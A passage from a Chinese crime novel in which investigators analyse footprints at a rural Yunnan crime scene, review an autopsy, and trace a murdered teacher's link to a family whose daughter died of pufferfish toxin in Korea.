“害怕?”老太太非常疑惑,手上找东西的动作都停了,似乎突然想到了什么,她踟蹰道,“你这么一提,我想到有一天晚上,老头子半夜突然爬起来,跑到厨房去喝水,压着胸口大喘气,还把杯子打翻了。我被吵醒了,起来看到他这幅样子,就问他怎湳枫么了。他只是说起夜,有点咳嗽,我当时没当回事。但他当时……满头大汗的,还脸色苍白,我……” 老太太的神色突然惶恐起来,章弥真见势不妙,连忙扶住老人,抓住老人的手安慰道: “没事没事,奶奶,我们不想了,我们不想了。” “我当时就该注意到的……我怎么就,被他骗过去了呢?”然而老人被引发的懊悔已然起来,短时间内就压不下去了。 “唉……”秦梓需叹息,有时候调查得太细,就是会引发二次伤害。让这些留在人世间的人去反复回忆痛苦的事,实非警方的本意,但为了能够查明真相,实在别无他法。 但陆奶奶到底是一辈子大风大浪过来的人,她很快就镇定下来,并且找到了诊断书。秦梓需拍了照,便心怀愧疚地辞别了老人。 邹天显然积攒了一肚子的疑问想要询问秦梓需,但突然来电话了,是1幢现场那里的来电,说是初勘结束了,勘查通道也铺好了。邹天便立刻与秦梓需等人往回赶。 所长一直留在现场协调各种事务,见众人回来了,又亲自迎接。 他们沿着勘查通道进入现场,痕检为他们做初勘汇报: “我们通过家中遗留的鞋子,大致分辨出了现场的几组脚印。一组是王永荷的脚印,一组是李富国的脚印,还有一组陌生的脚印,因为这组脚印覆盖在了王永荷的脚印之上,并且在屋内踩得到处都是,我们大致可以推断,这应该是闯入屋内的陌生人的脚印。 “这组脚印从外部进入,虽然有一部分被破坏了,但还是能够辨认出来。这是一双42码的胶鞋痕迹,步幅很大,脚印前掌深,后跟浅,像是在奔跑。从这个步幅跨度来计算,大概是个身高在175以上的人,体重不是很重。 “但是这个人穿的胶鞋磨损很严重,感觉像是穿了很久的老鞋子,根据鞋齿磨损的特殊痕迹,我们发现这组脚印还出现在正门的玄关附近,是比较陈旧的鞋印了,我们推测,形成第三组脚印的鞋子,应该就是李富国的一双胶鞋。 “但是据说李富国身高不足175,所以完全可以判断这一组从山后来的脚印不是李富国的脚印。也就是说,这个闯入屋里的人,事先偷了李富国的胶鞋,后来就一直穿着李富国的胶鞋活动。他应该是具备一定的反侦察意识。” 秦梓需仔细盯着这些脚印,蹙起眉头。邹天则在旁问:“没有发现其他鞋子形成的脚印吗?” “有不少,但因为当时夜里来了很多人,分辨起来很困难,我们后续还得一一搜集鞋印来做排查。”痕检道。 随即一行人踩着勘查通道进入屋内,痕检继续介绍: “这个第三组脚印闯入后,在屋子里翻找了很多东西,一些存折、单据上留下了明显的水痕,床单、被套上面也沾染了雨水,有很明显的水手印,显然是淋了雨的人从外面进来后翻的,而不是一直在屋内的人翻的。不过这个人肯定是戴了手套,所以指纹应该是查不出来的。” 听痕检介绍到此,章弥真悄悄在秦梓需耳畔低声道: “这个凶手活干得有点糙啊。” “他很急,顾不上太多细节了。”秦梓需回道。 这时,有个穿制服的小警官在屋外探头探脑,所长立刻叫住了他:“王智强!看什么呢,赶紧过来!” 小警官见到所长,立刻蔫头巴脑地走了过来。所长看向众人,道: “他就是昨天傍晚我派回来看李家情况的人,来,王智强,你跟领导们说说看当时到底是什么情况。” 小警官嗫嚅着道:“我当时赶到这里时,屋里黑灯瞎火的,我喊了好几嗓子,都没人应。而且正门挂着锁,三轮车也不见了,我以为他们两口子一起出去了呢。” “你没去后院细看?”秦梓需问。 “我去了,我穿过后院都到了后门口,打开门站在门口向里面喊了好几声,但我没有进去。当时……我家里突然给我来电话,说家里淹水了,我爸为了排水摔了一跤,把胳膊摔折了。我急得要命,想着都这么喊了没人应,肯定是没人了,我就走了。”他老实交代道。 众人一阵沉默,秦梓需随即温和道: “当时是几点钟,你还记得吗?” “应该是晚上八点多了。我记得六点钟泥石流塌方后,我们是第一时间赶到现场处理的。大概到了晚上八点多,我们将泥土清理了一半,发现了李家的三轮车。那个时间点,所长派我赶紧去李家瞧瞧。我开车从塌方现场到李家,一路过来大概花了一刻钟。”王智强努力回忆道。 “你确定当时屋里黑灯瞎火,你什么也没看到,什么也没听见?”秦梓需再次确认。 “我确定。”小警察答得很笃定。 秦梓需叹了口气,道:“人多半是跑出去了。那个时间点,他很可能已经走了将近两个小时了。” 邹天道:“秦老师,需要向省里报告这件事吗?调动航空、铁路、公路一起协查。” 秦梓需摇头:“这是个费劲儿的活计,可以先干着,但重心不要全放在这上面。如果我们不能在2个小时内设下路障,就无法阻止他出云南省界。药山镇距离川黔都不远,他只需要辗转几趟车,很快就离开云南,我们可能已经无法判断他往哪儿去了,何况他还非常擅长伪装,很难追踪。所以,这个方向上能查到哪儿算哪儿。” “那还有什么方向可查?”章弥真问。 秦梓需思索道:“痕检将他的鞋模做出来,山上那个洞里,一定要仔细采样,力求找到蛛丝马迹。其余人可以继续走访,查找目击证言,刚才陆奶奶告诉咱们的那个证词,应当是她目击凶手在山上行走的状况,我怀疑还有人看到他了,只是没能分辨出他是谁。 “我打算去殡仪馆一趟,看看法医那里有什么发现,你们怎么说?” 章弥真立刻表示要跟去,邹天道:“行,我也跟您走一趟殡仪馆。” 第43章 第四十三章 勘察现场和侦讯留给所长来指挥,秦梓需、章弥真和邹天一道,往镇殡仪馆去。 这镇殡仪馆是这两年刚刚修建的,在2018年之前,药山镇居民办丧事一般都是土葬,需要火化的会拉去县里的火葬场进行火化安葬。 近两年因为紧抓殡葬移风易俗,并下了火化的硬性指标,镇子里也在努力推火葬,然而风俗没有那么快转变,现在镇里办丧事有折中的办法——将骨灰盒装入棺材下葬。 秦梓需等人到殡仪馆的法医验尸房外,验尸工作已经接近尾声了,但尚未结束。在外面等候的功夫,秦梓需向邹天问道: “邹队,你知道李家女儿的事吗?” “知道,当时他家这事儿闹得很大,县里、市里都派了人来对外协调,好不容易才帮着把骨灰从韩国接回来。我当时就负责的这个案子,专程跑了一趟韩国去和韩国警方共同办案,当然我们在当地没有执法权,我算是观察员吧,观察韩方调查此案时有没有什么问题。如果有问题,我们后续还要和韩方进行协调。”邹天道。 “那调查过程中,没有疑点吗?怎么就突然食物中毒了?”章弥真跟着问。 “疑点是没有的……我从头跟你们讲起吧。这个姑娘名叫李芝华,她算是镇子上少有的女大学生,2008年时考入了成都理工大学,一直是品学兼优。她学的是机械自动化,2012年3月份的时候,韩国一家很有名的车企来她们学校校招,她报名被选中去韩国的牙山工厂实习。 “她大概是4月去了韩国,在韩国待了一个多月,5月22日的时候,被舍友发现晕倒在宿舍里,晕倒前她在吃饭,是自己买的小电煮锅,里面煮的是火锅。她自己买的菜和肉,用中国产的火锅料煮。 “送医抢救,没抢过来,就这么去了。化验后,说是河豚毒素中毒死亡。” “啊?她吃河豚了吗?”章弥真吃了一惊。河豚有毒,应该是常识吧,这姑娘怎么能就这么大剌剌煮火锅吃啊。 邹天摇头道:“不,韩国警方化验了她吃的那顿火锅,发现她的火锅里有猫粮。那猫粮是用鱼骨粉做的,鱼骨粉之中掺杂有河豚肝粉。韩国渔业公司内部一直存在一些黑幕,有员工私藏河豚肝,将其用冻干机制成肝粉后,混在鱼骨粉中偷运出去,走私赚外快。鱼骨粉是猫粮的主要原料之一,很可能是不小心将河豚肝粉混在了鱼骨粉里制成了猫粮,然后更不幸地被她吃进了肚子里。” “她为什么会吃猫粮?”章弥真更为震惊了。 邹天叹息道:“这个姑娘……怎么讲,太节俭了。她家里经济拮据,出来实习开销大,却拿不到多少钱。住宿舍的时候,又出于爱心收养了一只徘徊在宿舍附近的流浪小猫,得花钱给小猫买猫粮。因为这包猫粮快过期了,她大概是不舍得扔,所以就干脆将猫粮放进火锅里煮了。” 秦梓需蹙眉追问道:“那猫吃了怎么没反应?” “据她的室友说,那只小猫不见了,所以也不知道猫吃了猫粮是什么反应,也许是死在外面了,她们找了很久都没找到。当时她们都没意识到猫粮有问题。” 秦梓需摇头:“那袋猫粮是刚开包吗?” “对,刚开包,据说喂小猫只喂了一次。然后就一直存放在那里,等小猫来吃。可等了很久都没等到小猫再来。本来她们还打算说拿去喂附近的流浪猫算了,没想到李芝华会拿来煮火锅。”邹天道。 秦梓需问:“从刚开包的猫粮里检测出了河豚毒素,那么这毒素在猫粮袋子里的分布状况如何?有毒物质是在猫粮的上层、中层、下层,还是无规律散布?” “嗯,韩国那里只给出了一个百分比的结果,没给出分布状况,也就是有跟无的区别。你知道,河豚毒素只需要非常微量就可致人死亡。” 秦梓需的眉头皱成了川字,突然望向章弥真。章弥真吓了一跳,随即她好像从秦梓需的眼神中读懂了什么,顿感一阵恶寒从尾椎骨爬上后背。 章弥真可是刚刚收到了两只小猫啊…… “那天她为什么会一个人在宿舍里吃火锅?”秦梓需问。 邹天解释道:“这还蛮常见的,据说韩国工厂的伙食很差,她们这些中国来的实习生,大多都会自己买菜做饭。李芝华本来就是云南靠近川黔地区的,吃锅子是打小就养成的饮食习惯,自己煮火锅也是很正常。她在成都上学时,也没少在宿舍里自己煮火锅。 “那天她轮休,一个人在宿舍里休息。” “宿舍有没有安保措施?有没有监控?”秦梓需问。 “就是很普通的住宅楼,门口有门禁系统,刷卡进入。入口有一个监控,但楼内其他地方就没有监控了。”邹天回忆道,“当时韩国警方也查了监控,没有可疑人员进出过,而且也查了舍友和宿舍里的其他住客,这些人和李芝华无冤无仇,甚至不认识,压根也没有杀人动机。何况毒物检测是从猫粮里检测出来的,这帮人谁也没渠道去弄到河豚毒素下毒,所以就排除了他杀可能性。” “这个能说是食物中毒吗?这不该是食品安全漏洞致人死亡吗?”章弥真反问,“按理说就该告韩国的渔业公司!” “这……我们也是很无奈,事发在韩国,我们没有调查权。韩国警方最后给出的结果,是河豚毒素无法溯源,因此证据链无法闭合,不能形成公诉条件,渔业公司根本不鸟我们。 “不仅如此,猫粮公司也不承认他们生产过程中存在漏洞,非说自家产的猫粮没有一袋存在问题,只有这一袋出问题,一定是这个姑娘自己误食了河豚毒素,跟猫粮无关。 “而实习车企更是不粘锅,把责任全推给了小姑娘。这互相之间扯皮个没完,根本不会有结果。 “最后连驻韩使馆都出面协调,这几家企业碍于国际观瞻,联合派律师团带了赔偿款来游说,威逼利诱,最后达成了私了协议。就老李两口子,大山里待了一辈子,哪里有心气和那种西装革履的精英律师团来斗?最后是拿了40万人民币的慰问金了事,这其中,涉事的猫粮企业和实习车企每家只给了2万人民币的慰问金,剩下的大头,还是学校给的赔偿款,毕竟事发时,小姑娘还未完全毕业。”邹平挠头。 秦梓需、章弥真听完这一切,一时间也是无言以对。 这时,尸检终于结束了,法医出来,带着一行人去了隔壁的会议室,向他们简略地说明了一下初步验尸的情况。 “李富国的确切死亡原因是颈骨骨折导致脊髓完全断裂,引起四肢瘫痪及呼吸肌麻痹,缺氧死亡。泥石流发生时,他人在车内,受到冲击后三轮车被泥浆裹挟着翻滚到了山下,这造成了他全身有诸多位置挫伤、骨折。 “我们从他的胃里提取到了食物,因为他是在进食后1个小时内死亡的,胃内容物形状较为完整。我们在胃内容物内提取到了褐鳞环柄菇的碎片,连带着他的□□拿去化验了,化验报告大概需要一段时间出来。 “可以推测的是,他在驾驶农用三轮车的过程中,神志应该是不清醒的,处于幻觉中。 “另外,我们还在他的衣服口袋里找到了几样东西。” 法医从法医取证用的相机里调出了照片,亮给三人看。 “一个是他的手机,虽然进水关机了,但烘干后应该还是可以开启的,数据卡内的数据也能恢复。这个需要设备,我们暂时还没处理。” 秦梓需插话道:“跟我们一起来的小宋是这方面的专家,一会儿可以把手机带回派出所,让他来处理。” 邹天点头,法医继续道: “二是一些现金,不多,也就一百多块钱,有零有整。三是一张银行卡,是农行卡。四是身份证,除了这些东西之外,他就没有带其他的东西了。 “昨晚运走尸体时,也检查了那辆农用三轮车,车内也没有其他包裹类的物品,也就是说,基本可以确定他就是带着这些东西上路的。看样子,像是要跑去银行办事。而且是对他来说比较紧急,必须立刻去做的事。” “难道是要去银行汇款?”章弥真奇怪道。 “有可能,等恢复手机多半就有头绪了。”秦梓需道,她随即问邹天,“李家这两口子的事,你们有没有通知他们儿子?” “暂时还没有。”邹天道,“不过我已经派人查他儿子这两天的行踪了,人一直在广州,没有出过广州范围。” 秦梓需询问法医道: “李富国的身高、体重和脚长是多少?” “他身高170cm,体重85公斤左右,超重,有脂肪肝。脚长26.5cm,穿42码鞋子。”法医答得很详细。 “他这个身高穿这个鞋码,是正常范围内吗?”章弥真问。 “属于正常值的上限,他应该属于是天生脚比较大的人。”法医道。 “据您所知,如果鞋码小了,鞋子挤脚,人在奔跑时,动作是否会变形?或者重心不稳?”秦梓需突然问。 章弥真、邹天都有些意外地望向她。 法医道:“这是肯定的,挤脚的鞋子会限制足底与地面的接触面积,尤其在高速奔跑或变向时,可能导致抓地力下降,易打滑或失去控制。还会发生重心偏移,身体需频繁调整姿态维持平衡,脚趾和足底肌肉因持续受压而紧张,影响对地面反馈的敏感度,协调性变差。腓肠肌和大腿肌肉可能因代偿发力而僵硬,进一步影响整体动作流畅性。 “由于脚趾无法完全伸展,推进力减弱,可能导致步幅缩短、步频加快,有点类似在跑小碎步。” 秦梓需沉吟着道:“凶手的身高估算有误,他可能已经超过180了,现场勘查测出来的步幅计算出来的身高,不是正常奔跑的步幅。” “你怎么知道鞋小了?”邹天好奇问道。 秦梓需微微一笑:“嗯,这个凶手很可能15岁时脚长就已经到42码了,除非之后一点没长个子,但这不大可能。当然,排除这种猜测,我刚才在勘察现场仔细观察了一下凶手踩下来的脚印,确实感觉不大自然,脚印外深内浅,说明他的脚一直在不自觉地外翻,他蹬地时的力道总是不足,所以有几个前脚掌的痕迹只留了外侧半扇脚板,且还在不断打滑,差一点要跌倒。我就感觉似乎他穿的鞋小了。” 邹天若有所思,章弥真已经佩服起秦梓需的观察力了。刚才她在现场时也看到了那些脚印,可她就没看出里面的门道。到底是专业人干专业事儿,这不是她的专业范围。 这个时候,秦梓需的手机响了,她道了声抱歉,拿起一看,居然是李之枚的蓝信来电。 “喂?枚姐。”秦梓需连忙接起。 李之枚的声音显得很轻快:“秦老师,好消息,锶同位素检测报告出来了,我们已经搞清楚了杨莲生前长期居住的地方,还有那朵紫英花所在的位置,我把报告发您蓝信了,您看一下。” 秦梓需问:“她生前生活过很多地方,这些地方都能检测出来吗?” 李之枚回道:“是的,都能,以前只有头骨时,我们只能通过牙齿来检测出生地。但现在我们找到了躯干骨骼,可以通过骨密质显示死亡前10年的居住地,而且骨骼代谢层中还存在中间比值,反应了中间的过渡地带。 “像是杨莲,她的出生地是安徽,过渡地带在上海,而最后自然是在云南,就是你们现在所在的药山镇。” “安徽省内,是否能精确到市级单位,比如铜陵和蚌埠之间的差别,能体现出来吗?”秦梓需问。 李之枚思索道:“哦,铜陵和蚌埠可能还真的存在差异。我印象中这两个地方的地质环境不大相同,不过您问这么细,我让他们再精细测算一下,很快就把结果告诉您。” “好,我等你的消息。” 秦梓需挂了电话,舔了舔略有些干涩的嘴唇,才想起来自己一直都没喝水。 第44章 第四十四章 邹天对于秦梓需等人在查的案子,显然是不了解的。借此机会,秦梓需将案件情况和他详细讲述了一番。 邹天缓了半天才消化了案情,他皱着眉头道: “所以您是在怀疑,本案的凶手,就是你们正在查的案子的凶手?” “确实有这样的怀疑,但并不敢就此下定论。毕竟,至今为止,我还没找到李家与咱们在查的旧案之间存在什么样的关联。”秦梓需道。 章弥真插话道:“关联还是有的,李家女儿李芝华,应该是杨莲的学生吧。” “这个确实,她是05届的青竹坳中学毕业生,应该是杨莲教过的最后一届学生。”邹天道。 “杨莲的学生可太多了,也不是所有人都能和案情发生关联。”秦梓需反驳道,“我的意思是,我暂时看不到李芝华包括她父亲母亲与陈君梅、杨莲案有什么牵扯。” 章弥真道:“你不是猜测杨莲遗留的文件盒在交到老校长手里前,曾经在某个人手里保存过吗?会不会就是李芝华?” 秦梓需笑了,道:“她当时是个学生,杨莲如果连老校长都不愿连累,又怎么可能把这么重要又危险的东西交给一个孩子来保存?“ “可事实是,他们全家人现在被人害到两死一伤,如果他们和本地人没有任何矛盾,那除了那个凶手,恐怕没谁会费这么大劲儿来害人了。”章弥真不服气地反驳道。 邹天打圆场道:“我觉得必须要排除掉关系网中所有人作案的可能,以及流窜犯作案的可能后,咱们才好确定可能是你们在查的凶手作案。” 秦梓需道:“倒也不必分个先后,咱们可以分头查嘛。邹队,你就按一般的刑事案件的调查方向去查,我们则去查和旧案之间的关联。” 邹天点头:“好。另外,我也会分几个人手去医院保护王永荷,等她醒来,咱们应该还能问出不少东西来。” 约定好等痕检和化验报告出来后,几人再碰头,他们便离开了殡仪馆,开始分头查案。 彼时时间已经来到了当日的傍晚时分,秦梓需和章弥真先回了一趟派出所,将装有李富国手机的物证袋交给了小宋,让他将内存卡里的数据弄出来。 秦梓需顺带问了一声小宋关于杨莲早年间与蚌埠之间的关系。小宋很无奈,道: “我能力范围内应该是查不到了,年代太久远,当时人的档案也没那么全乎,实在是查不到。我能查到的关于杨莲的最早的档案,就是从她参加大学自学考试开始。” “她是在哪里参加的考试?有记载吗?”秦梓需问。 “就是上海,她当时已经从安徽到了上海。” “那她在到了上海后,有没有去过胥城?” “这倒是有,我询问了杨莲在上交大时期的导师,对方回忆,说她去过好几回胥城。要么是去参加学术会议,要么是去出差或者旅游,反正并没有在胥城长期待过。”小宋道。 “这是她去支教前的事?” “对,大概是93-96年之间的事。那会儿她确实去胥城比较频繁。”小宋道。 秦梓需沉吟,章弥真则问道:“这位导师也没关心过杨莲后来去了哪儿?” “嗨,他说杨莲辞职后就换号码了,根本联系不上。她在上海也没房子,一直都是住的教职工宿舍,而且性格孤僻,独来独往,和谁都不亲近。搬出宿舍后,就直接失联了。”小宋无奈耸肩。 “那她那个弟弟,你有联系吗?”秦梓需问。 小宋道:“联系了,这姐弟俩,可以说是形同陌路啊。她的这个弟弟比她小7岁,杨莲16岁的时候,就从家里出来了。那会儿她弟弟9岁,虽然不懂事,记忆还是有的。他说那会儿是1978年,杨莲初中上完后,已经在家务农一年,家里给她安排了一门亲事,让她赶紧结婚。她死活不肯,说是要重新读书上大学。于是和家里闹翻了,直接离家出走。 “杨莲的父亲是个极其顽固的臭脾气,母亲是唯唯诺诺,根本不敢反抗丈夫。这夫妻俩就真的当没生过这个女儿,在那之后就再也没有联系过,以至于这么多年过去了,这个弟弟都快忘了自己还有个姐姐了。” 果然,如果不是被原生家庭伤害,杨莲又怎么会走上这样的人生道路?只是不知道16岁就离家出走的杨莲,到底是吃了多少苦头,才能一路努力考取上交大。章弥真心中无比唏嘘。 小宋开始着手研究那部手机,秦梓需、章弥真去派出所的食堂吃晚饭,秦梓需一边吃饭,一边对章弥真道: “看来杨莲的原生家庭可以不用再考虑到案情之内了。16岁离家出走,她一个人很难生存下来,一定有人帮助过她。我认为就是陈君梅,她们俩一定是在那时就建立起关系了。” “陈老师是不是也有个弟弟?”章弥真有些记不清了。 秦梓需摇头解释道:“没有,陈老师是家里的独生女。她们家算是学者家庭,她父亲是安徽财经大学的经济学教授,母亲是统计学教授。不过陈老师的父亲在93年时因病去世了,她母亲也在2年后去世。这老俩口都是战争年代走过来的孤儿,所以她家里已经没有其他亲戚了。” “学者家庭的独生女,嫁了一个军人?”章弥真感到有些难以想象。这不等于是秀才遇到兵了吗? 秦梓需道:“他俩是相亲介绍认识的。军人的口碑地位一直不错,马军年轻时也是一表人才。虽然马军的家庭状况并不多么出色,但他在部队里是标兵,人很上进。他伤残前是罕见的四级军士长,如果不是因为意外伤残,他其实已经有安置进编的资格。但他的状况比较严重,实在是没办法进编工作了,不得已才放弃了安置。” “马军到底是因为什么伤残的?” “车祸,而且还不是因公,他是休假期间出去办私事时遭遇的车祸,最后只是办了一个因病伤残,实在是太可惜了。”秦梓需叹息。 “哦,这么想想……唉,命运真是无常。本来应该往上走的一家人,就这么每况愈下了。”章弥真唏嘘道。 随即她眼珠子转了转,压低声音道:“这么说陈老师是双吗?” 秦梓需吃饭的动作一滞,将嘴里的食物吞下,她缓了缓道: “什么双啊单的,那个年代的人,哪有这些概念?” “嗯?什么概念说来听听。”章弥真一脸好笑地望着秦梓需。 “不带你这么编排老师的啊。”秦梓需刺了她一句,顾自吃饭。 “行行行,我错了,我轻佻,行了吧。”章弥真翻了个白眼,心道这人真无趣。 在秦梓需吃完饭,最后喝汤时,章弥真故意报复似的来了一句:“秦老师,你是双吗?” “噗!”秦梓需一口汤呛进了鼻子里。 章弥真哈哈大笑,大仇得报,端着餐盘扬长而去。 …… 到底该怎么去查李家与爆燃案、抛颅案之间的关联,这个问题秦梓需考虑了一个晚上,有了一个初步的想法。 第二天早上,她召集章弥真、耿剑秋、吉克,还叫上了昨天参与爬山带路的那个小姑娘阿果一起在派出所开会。 耿剑秋和吉克两人都顶着黑眼圈,他们昨天去查县域公交,将案发时间段的所有车子监控录像都拷贝回来,看到了半夜12点才睡觉。但暂时还未有收获。 秦梓需道:“你们俩一会儿看监控时,注意找穿着胶鞋,走路时脚外翻的男人,身高在180以上。” “啊?不是身高175以上,穿着迷彩夹克的男人吗?”吉克疑惑道。 耿剑秋明白过来,道:“原来如此!我们确实是忽略了,我印象中好像见到过这么个人!” “啊?”吉克还不明白,耿剑秋示意他稍安勿躁。 秦梓需笑了下,道: “先把看监控的事放一放,我们长话短说。关于李家的案子到底和杨莲之间有无关联这件事,我们还是要回到原点,查清楚杨莲当初离开药山镇前后时,她到底接触过什么人。如此我们才有可能推断出她到底把文件盒给谁了。” “这个该怎么查?”章弥真问。 “从杨莲留下的文件可以看到很多必须要亲自到胥城才能查到的资料,我觉得杨莲在辞职后,在胥城调查了一段时间,才可能下定了某种决心,要交代后事了。之后她很可能还回了一趟药山,亲自将调查资料打包交给了药山当地的某个人。 “既然杨莲孤僻、独行,查她比较困难,我们就从李芝华着手查,查李芝华的行踪状况。大概的时间段是杨莲辞职的2005年2月到杨莲遇害的8月前,李芝华是学生,她的行踪轨迹比较固定,应该会比较好查,但一定要细。 “此外,李富国、王永荷这两个人与杨莲之间是否还存在着我们不知道的关联,也得查。不过重点还是要放在李芝华身上。” 耿剑秋问:“那我俩是先看监控,还是先查这个?” “耿队,监控的事,你一个人能行吗?我打算带吉克出去查,因为涉及到要查本地人,我需要本地人帮忙沟通。”秦梓需问。 耿剑秋道:“没问题,我差不多有头绪了。一会儿我就去看,我倒要看看能不能追踪到那个家伙。” “好,那监控的事就全部交给你了,我让小宋在查手机,他那里要是好了,你就喊他帮你。” “行。” 于是分头行动,秦梓需带着章弥真、吉克和阿果出了派出所。阿果现在是一头雾水,她对于案情主体基本处在无知的状态,也不知道自己今天到底要干什么。由于她并非刑警,只是派出所的实习警员,出于保密,秦梓需没把案件详情告知她,只是告诉她要查什么,怎么查: “我刚才查了一下,李芝华的高中上的是县里的重点高中,交通不便,她应该不会频繁回来,我估计可能只有寒暑假她才会回镇子里。 “吉克,你带着阿果去镇子上打听一下谁跟李芝华的关系最好,问清楚李芝华在2005年2月-8月,有哪些时间段是在镇子上活动的,最好要详细到日。建议你们倒着,从8月往前查。重点打听一下李芝华放假时都在做什么,越详细越好。” 吉克、阿果点头记下了。 “那我俩干啥?”章弥真插话问。 “我们俩先去一趟李家现场,我想找找看有没有李芝华的遗物。正好李家在镇子东头,吉克、阿果,你们从西面往东查,我们俩从东往西查,这样节省时间。”秦梓需道。 敲定计划,几人立刻行动起来。 第45章 第四十五章 秦梓需向镇派出所借了一辆警用电动自行车,她骑车带着章弥真往李家现场去。秦梓需骑电自让章弥真感到很好笑,她坐在后面,扒着秦梓需的肩膀笑个不停: “你知道你骑这个车很像保安大爷吗?” “什么保安大爷?”秦梓需莫名其妙,“我在北京上下班也是骑电动自行车的,方便。” “不是,你穿的这个雨衣,配上这个车,真的很像我们家小区那个保安大爷,哈哈哈哈……” 秦梓需:“……” 正无语间,秦梓需的手机突然响了,她刚准备停车拿手机,章弥真的手突然探了过来,在她腰间乱摸。 “诶,干嘛呢?”秦梓需车子差点没骑稳。 “帮你拿手机啊,你骑你的,不耽误事,我来帮你接。”章弥真说着,把秦梓需的手机从腰包里掏了出来,一看屏幕,居然是李之枚。 “喂,枚姐啊……嘿,她骑车呢,我帮她接电话。哦,好的,枚姐有事儿和你说。”章弥真把手机放到了秦梓需耳边。 秦梓需连忙喂了一声,就听李之枚道: “秦老师,你要我查的我搞清楚了。杨莲的锶同位素检测结果表示,她确实有可能在蚌埠生活过,但这个只能说是个推测,还需要其他证据交叉证明。” “怎么说?” 李之枚道:“是这样的,锶同位素要检测出来,起码要在当地生活超过2年以上。杨莲在蚌埠应该就生活了2年左右的时间,在她青春期骨质生长的阶段,尤其是抵达上海前的那段时间,确实有一个很短暂的骨骼代谢层Sr/Sr比值显著下降,这是因为蚌埠的锶主要来自海洋碳酸盐,而铜陵的锶是火成岩。 “但严谨一点说,这个数据只能说明杨莲确实在青春期有一段短暂的离开老家铜陵的生活,并不一定就是去了蚌埠。 “不过您放心,这个事儿我也跟谢支报告过了,谢支已经准备派人去蚌埠查了。” “好,建议你们从陈老师当年生活的安徽财经大学查起,她父母亲都是安徽财大的教授。从陈老师入手查,应该会更容易查明白杨莲的事。”秦梓需道。 “明白了,交给我们。” 电话挂断了,秦梓需也把车骑到了李家现场所在的那个坡子下方。两人下车,步行去现场。章弥真将手机还给秦梓需,刚才她一直凑在听筒旁听,也听了个大概,现在问道: “难道杨莲能考上上交大,是陈老师帮忙的吗?陈老师那会儿自己也是个高中生吧。杨莲当时已经辍学,她该怎么才能读书上大学呢?她又能怎么谋生呢?” “那会儿社会上的人想考大学,都是上政府组织的补习班或者夜校的。”秦梓需道,“还有不少大学老师,会自行组织补习课堂,总之只要你想学,一定是可以找到门路的。而且如果生计困难,有的是人愿意帮助你。我猜,可能陈家二老也是当年愿意出来给学生补习的大学老师。而杨莲,正是受了他们的恩惠。” 章弥真点头,若有所思。她在想,如果无家可归的杨莲当年真的受了陈家二老的帮助,恐怕甚至有可能借宿在他们家里,这样跟陈老师的交集就会更深了。 她想得正出神,一扭头,发现秦梓需突然不见了。章弥真愣了一下,随即四下里张望,发现秦梓需不知何时脚步一拐,跑到坡下的农田边上去了。 “老秦?你干嘛呢?”章弥真站在坡上,向下喊道。 “我在找那朵紫云英的位置。枚姐发给我一个精确的位置坐标,应该就是在这块地边上。”秦梓需喊道。 章弥真想问她找那朵花具体所在的位置有什么意义,但她又不想扯着嗓子喊,最后还是叹了口气,从坡子边上下去,跟了上去。 秦梓需在稻田边找到了一丛野花从,这个季节,紫云英的花期已过,秦梓需好歹从手机上的紫云英植物图鉴比对出了茎叶的形态,找到了确切的位置。 “找到了?”章弥真走到她身边问道。 “嗯,应该就是在这儿采的花。”秦梓需一边回答,一边四处张望。 “看啥呢?”章弥真又问。 “这个位置,似乎并不是杨莲的必经之路。”秦梓需道,“紫云英其实到处都是,她专程跑到这里来采花,有点奇怪。” “嗯……这片田所在的位置和学校离得比较远,确实不大顺路,不过也离得不远。从这儿上去,往东面走100米,在路口上坡爬到顶,就是老校长家。也许她到老校长家吃饭,饭后闲来无事,到这里逛一逛,顺便采的花,也不是不可能。”章弥真问道。 “不是说不可能,只是单纯从便利角度来说,从这个田埂坡子下来,再爬上去,多麻烦?除非她有下来的必要,否则她完全可以从其他地方采花。”秦梓需道。 正巧此时,她们听到了铃铛声和呼喝声,是那个赶羊的彝族老妪正赶着羊群从这里路过。秦梓需出声询问道: “嬢嬢,早上好,您知道这片稻田是谁家的吗?” 老妪指了指李家的屋子道:“李家的田。” “您见过杨阿嫫到这下面来吗?”秦梓需又问。 “没见过。”老妪似乎回忆不起来。 “这田平时谁种?”秦梓需又问。 “以前,李富国她爸还在时,都是那老头种。老头没了后,田给了李富国,但他不种田的,他都是租给隔壁种。”老妪回道。 “您回忆一下,杨阿嫫和李家的关系怎么样?”秦梓需问。 “哦……阿嫫是李家女娃的老师嘛,我见过她经常和那个女娃在一块,还单独教她功课哩。可怜,年纪轻轻人就没了。”老妪嘟囔道。 “您见到杨阿嫫在哪儿教李家女儿功课?”秦梓需连忙追问。 “就山上那个亭子,我和你们讲过的。” “您知道是什么时候开始的?” “什么时候?记不清了,好像突然就开始了。”老妪摇头道。 秦梓需若有所思,老妪见她没什么要问的,便顾自赶着羊离去。 章弥真思索道: “这田是李家的田,李芝华到田边摘花很正常,所以,那朵紫云英有可能是李芝华摘来送给杨莲的?” 秦梓需点头:“嗯,对,很有可能。我们在胥中发现的杨莲写给陈老师的那封信写于2002年,摘花的时间点是2002年的5月。那个时间点李芝华应该小学六年级还没毕业,尚且没有进入青竹坳中学就读。 “你还记得李家是什么时候从县里搬回镇子上居住的吗?那是2012年李芝华出事后的事了。李芝华小学却是在村里读书的,说明很长一段时间,她都没被父母带在身边抚养,而是被丢在山村里,跟着爷爷奶奶生活。 “杨莲在山上的亭子里给还是小学生的李芝华上课。看来这俩人的渊源确实很深,远远不是一般学校里的师生可比。 “我一直觉得李家的家庭状况很奇怪,一般来说山里人家重男轻女,都是男孩在家中地位更重要,上学什么的都紧着男孩来,可他家却是反着来的。村里人公认王永荷重男轻女,以李富国那个打老婆的态度,我感觉他也并非真的是重视女儿,只是他在自己的一双儿女里,选择了最有潜力的那个,而放弃了没有潜力的那个。 “一个女孩,在这样的家庭环境里怎么逆天改命?除非有一个第三方强势介入,否则她没有任何机会。杨莲,是李芝华的贵人,是带她走出困境的那个无比崇高的老师。正是因为她单独给李芝华补课,才让李芝华的能力压过了她的弟弟,让家中的资源得以向她倾斜。” 秦梓需说着就噌的一下跳到了坡子上,动作敏捷好似猫科动物。随即,她搭把手把章弥真也拉了上来,两人随即去了附近的邻居家打听李家的状况。 果然不出所料,根据邻居回忆,李芝华确实小学就在村子里上的,一直跟着爷爷奶奶在村里生活。而李富国、王永荷夫妻带着儿子在县城里生活,儿子是在县里完成的义务教育。 李芝华和她弟弟李志良,是龙凤双胞胎,年纪无差。从小弟弟就受宠,女儿则被甩给祖父母养。 